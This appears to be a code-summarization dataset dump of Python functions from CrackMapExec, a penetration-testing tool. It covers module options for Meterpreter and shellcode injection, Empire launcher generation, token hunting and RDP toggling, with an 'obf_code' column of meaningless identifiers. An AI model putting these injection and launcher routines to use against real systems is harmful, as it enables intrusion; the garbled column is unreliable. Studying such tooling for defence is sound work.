repo
stringlengths
7
54
path
stringlengths
4
223
func_name
stringlengths
1
134
original_string
stringlengths
75
104k
language
stringclasses
1 value
code
stringlengths
75
104k
code_tokens
listlengths
20
28.4k
docstring
stringlengths
1
46.3k
docstring_tokens
listlengths
1
1.66k
sha
stringlengths
40
40
url
stringlengths
87
315
partition
stringclasses
1 value
summary
stringlengths
4
350
obf_code
stringlengths
7.85k
764k
byt3bl33d3r/CrackMapExec
cme/protocols/http/database.py
database.is_host_valid
def is_host_valid(self, hostID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) results = cur.fetchall() cur.close() return len(results) > 0
python
def is_host_valid(self, hostID): """ Check if this credential ID is valid. """ cur = self.conn.cursor() cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID]) results = cur.fetchall() cur.close() return len(results) > 0
[ "def", "is_host_valid", "(", "self", ",", "hostID", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "cur", ".", "execute", "(", "'SELECT * FROM host WHERE id=? LIMIT 1'", ",", "[", "hostID", "]", ")", "results", "=", "cur", ".", "fetc...
Check if this credential ID is valid.
[ "Check", "if", "this", "credential", "ID", "is", "valid", "." ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L59-L67
train
Check if this credential ID is valid.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/protocols/http/database.py
database.get_credentials
def get_credentials(self, filterTerm=None): """ Return credentials from the database. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): cur.execute("SELECT * FROM credentials WHERE id=? LIMIT...
python
def get_credentials(self, filterTerm=None): """ Return credentials from the database. """ cur = self.conn.cursor() # if we're returning a single credential by ID if self.is_credential_valid(filterTerm): cur.execute("SELECT * FROM credentials WHERE id=? LIMIT...
[ "def", "get_credentials", "(", "self", ",", "filterTerm", "=", "None", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "# if we're returning a single credential by ID", "if", "self", ".", "is_credential_valid", "(", "filterTerm", ")", ":", ...
Return credentials from the database.
[ "Return", "credentials", "from", "the", "database", "." ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L69-L90
train
Get the credentials from the database.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/invoke_sessiongopher.py
CMEModule.options
def options(self, context, module_options): ''' THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) ''' self.t...
python
def options(self, context, module_options): ''' THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) ''' self.t...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "thorough", "=", "False", "self", ".", "all_domain", "=", "False", "if", "'THOROUGH'", "in", "module_options", ":", "self", ".", "thorough", "=", "bool", "(", "m...
THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
[ "THOROUGH", "Searches", "entire", "filesystem", "for", "certain", "file", "extensions", "(", "default", ":", "False", ")", "ALLDOMAIN", "Queries", "Active", "Direcotry", "for", "a", "list", "of", "all", "domain", "-", "joined", "computers", "and", "runs", "Ses...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/invoke_sessiongopher.py#L21-L36
train
Sets the options for the SessionGopher module
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/get_netrdpsession.py
CMEModule.options
def options(self, context, module_options): ''' INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) ''' self.exec_methods = ['smbexec', 'atexec'] self.inject = True ...
python
def options(self, context, module_options): ''' INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) ''' self.exec_methods = ['smbexec', 'atexec'] self.inject = True ...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "exec_methods", "=", "[", "'smbexec'", ",", "'atexec'", "]", "self", ".", "inject", "=", "True", "if", "'INJECT'", "in", "module_options", ":", "self", ".", "inj...
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
[ "INJECT", "If", "set", "to", "true", "this", "allows", "PowerView", "to", "work", "over", "stealthier", "execution", "methods", "which", "have", "non", "-", "interactive", "contexts", "(", "e", ".", "g", ".", "WMI", ")", "(", "default", ":", "True", ")" ...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_netrdpsession.py#L14-L26
train
Set options for the powerview module
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/bloodhound.py
CMEModule.options
def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be writ...
python
def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be writ...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "threads", "=", "3", "self", ".", "csv_path", "=", "'C:\\\\'", "self", ".", "collection_method", "=", "'Default'", "self", ".", "neo4j_URI", "=", "\"\"", "self", ...
THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be written on target (defaults to C:\) NEO4JURI (opt...
[ "THREADS", "Max", "numbers", "of", "threads", "to", "execute", "on", "target", "(", "defaults", "to", "20", ")", "COLLECTIONMETHOD", "Method", "used", "by", "BloodHound", "ingestor", "to", "collect", "data", "(", "defaults", "to", "Default", ")", "CSVPATH", ...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L23-L58
train
This method is called by the NEO4J module when the module is loaded.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/bloodhound.py
CMEModule.parse_ouput
def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): ...
python
def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): ...
[ "def", "parse_ouput", "(", "self", ",", "data", ",", "context", ",", "response", ")", ":", "parsedData", "=", "data", ".", "split", "(", "\"!-!\"", ")", "nameList", "=", "[", "'user_sessions'", ",", "'group_membership.csv'", ",", "'acls.csv'", ",", "'local_a...
Parse the output from Invoke-BloodHound
[ "Parse", "the", "output", "from", "Invoke", "-", "BloodHound" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L89-L116
train
Parse the output from Invoke - BloodHound and store it in the cache.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/rdp.py
CMEModule.options
def options(self, context, module_options): ''' ACTION Enable/Disable RDP (choices: enable, disable) ''' if not 'ACTION' in module_options: context.log.error('ACTION option not specified!') exit(1) if module_options['ACTION'].lower() not in ['enable...
python
def options(self, context, module_options): ''' ACTION Enable/Disable RDP (choices: enable, disable) ''' if not 'ACTION' in module_options: context.log.error('ACTION option not specified!') exit(1) if module_options['ACTION'].lower() not in ['enable...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'ACTION'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'ACTION option not specified!'", ")", "exit", "(", "1", ")", "if", "module_option...
ACTION Enable/Disable RDP (choices: enable, disable)
[ "ACTION", "Enable", "/", "Disable", "RDP", "(", "choices", ":", "enable", "disable", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/rdp.py#L14-L27
train
Set the action of the current instance based on the module options.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/empire_exec.py
CMEModule.options
def options(self, context, module_options): ''' LISTENER Listener name to generate the launcher for ''' if not 'LISTENER' in module_options: context.log.error('LISTENER option is required!') sys.exit(1) self.empire_launcher = None headers...
python
def options(self, context, module_options): ''' LISTENER Listener name to generate the launcher for ''' if not 'LISTENER' in module_options: context.log.error('LISTENER option is required!') sys.exit(1) self.empire_launcher = None headers...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'LISTENER'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'LISTENER option is required!'", ")", "sys", ".", "exit", "(", "1", ")", "sel...
LISTENER Listener name to generate the launcher for
[ "LISTENER", "Listener", "name", "to", "generate", "the", "launcher", "for" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/empire_exec.py#L21-L62
train
This method generates the launcher for a LISTENER listener.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/pe_inject.py
CMEModule.options
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH...
python
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'PATH'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'PATH option is required!'", ")", "exit", "(", "1", ")", "self", ".", "payload_pa...
PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
[ "PATH", "Path", "to", "dll", "/", "exe", "to", "inject", "PROCID", "Process", "ID", "to", "inject", "into", "(", "default", ":", "current", "powershell", "process", ")", "EXEARGS", "Arguments", "to", "pass", "to", "the", "executable", "being", "reflectively"...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/pe_inject.py#L16-L41
train
Initialize the object properties.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/tokens.py
CMEModule.options
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None ...
python
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None ...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "user", "=", "None", "self", ".", "userfile", "=", "None", "if", "'USER'", "in", "module_options", "and", "'USERFILE'", "in", "module_options", ":", "context", "."...
USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None)
[ "USER", "Search", "for", "the", "specified", "username", "in", "available", "tokens", "(", "default", ":", "None", ")", "USERFILE", "File", "containing", "usernames", "to", "search", "for", "in", "available", "tokens", "(", "defult", ":", "None", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/tokens.py#L19-L44
train
Set options for the current instance of the class.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/shellcode_inject.py
CMEModule.options
def options(self, context, module_options): ''' PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is requir...
python
def options(self, context, module_options): ''' PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is requir...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'PATH'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'PATH option is required!'", ")", "exit", "(", "1", ")", "self", ".", "shellcode_...
PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process)
[ "PATH", "Path", "to", "the", "file", "containing", "raw", "shellcode", "to", "inject", "PROCID", "Process", "ID", "to", "inject", "into", "(", "default", ":", "current", "powershell", "process", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/shellcode_inject.py#L16-L36
train
Initialize the object properties.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/mimipenguin.py
CMEModule.options
def options(self, context, module_options): ''' SCRIPT Script version to execute (choices: bash, python) (default: bash) ''' scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 'BASH' : get_script('mimipenguin/mimipenguin.sh')} self.script_choice =...
python
def options(self, context, module_options): ''' SCRIPT Script version to execute (choices: bash, python) (default: bash) ''' scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 'BASH' : get_script('mimipenguin/mimipenguin.sh')} self.script_choice =...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "scripts", "=", "{", "'PYTHON'", ":", "get_script", "(", "'mimipenguin/mimipenguin.py'", ")", ",", "'BASH'", ":", "get_script", "(", "'mimipenguin/mimipenguin.sh'", ")", "}", "self",...
SCRIPT Script version to execute (choices: bash, python) (default: bash)
[ "SCRIPT", "Script", "version", "to", "execute", "(", "choices", ":", "bash", "python", ")", "(", "default", ":", "bash", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimipenguin.py#L16-L30
train
This method is used to set the options for the module.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/protocols/smb/smbspider.py
SMBSpider._spider
def _spider(self, subfolder, depth): ''' Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot. ''' # The following is some funky shit that ...
python
def _spider(self, subfolder, depth): ''' Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot. ''' # The following is some funky shit that ...
[ "def", "_spider", "(", "self", ",", "subfolder", ",", "depth", ")", ":", "# The following is some funky shit that deals with the way impacket treats file paths", "if", "subfolder", "in", "[", "''", ",", "'.'", "]", ":", "subfolder", "=", "'*'", "elif", "subfolder", ...
Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot.
[ "Abondon", "all", "hope", "ye", "who", "enter", "here", ".", "You", "re", "now", "probably", "wondering", "if", "I", "was", "drunk", "and", "/", "or", "high", "when", "writing", "this", ".", "Getting", "this", "to", "work", "took", "a", "toll", "on", ...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/smbspider.py#L59-L96
train
This function is used to create a new entry in the cache.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/helpers/misc.py
which
def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be ove...
python
def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be ove...
[ "def", "which", "(", "cmd", ",", "mode", "=", "os", ".", "F_OK", "|", "os", ".", "X_OK", ",", "path", "=", "None", ")", ":", "# Check that a given file can be accessed with the correct mode.", "# Additionally check that `file` is not a directory, as on Windows", "# direct...
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This func...
[ "Given", "a", "command", "mode", "and", "a", "PATH", "string", "return", "the", "path", "which", "conforms", "to", "the", "given", "mode", "on", "the", "PATH", "or", "None", "if", "there", "is", "no", "such", "file", ".", "mode", "defaults", "to", "os"...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/misc.py#L44-L85
train
Given a command and a PATH string return the path which conforms to the given mode on the PATH string or None if there is no such file.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/enum_dns.py
CMEModule.options
def options(self, context, module_options): ''' DOMAIN Domain to enumerate DNS for. Defaults to all zones. ''' self.domains = None if module_options and 'DOMAIN' in module_options: self.domains = module_options['DOMAIN']
python
def options(self, context, module_options): ''' DOMAIN Domain to enumerate DNS for. Defaults to all zones. ''' self.domains = None if module_options and 'DOMAIN' in module_options: self.domains = module_options['DOMAIN']
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "domains", "=", "None", "if", "module_options", "and", "'DOMAIN'", "in", "module_options", ":", "self", ".", "domains", "=", "module_options", "[", "'DOMAIN'", "]" ]
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
[ "DOMAIN", "Domain", "to", "enumerate", "DNS", "for", ".", "Defaults", "to", "all", "zones", "." ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/enum_dns.py#L16-L22
train
Sets the domain options for the module.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/met_inject.py
CMEModule.options
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ...
python
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "met_payload", "=", "'reverse_https'", "self", ".", "procid", "=", "None", "if", "not", "'LHOST'", "in", "module_options", "or", "not", "'LPORT'", "in", "module_opti...
LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process)
[ "LHOST", "IP", "hosting", "the", "handler", "LPORT", "Handler", "port", "PAYLOAD", "Payload", "to", "inject", ":", "reverse_http", "or", "reverse_https", "(", "default", ":", "reverse_https", ")", "PROCID", "Process", "ID", "to", "inject", "into", "(", "defaul...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/met_inject.py#L15-L39
train
Set options for the powershell process.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
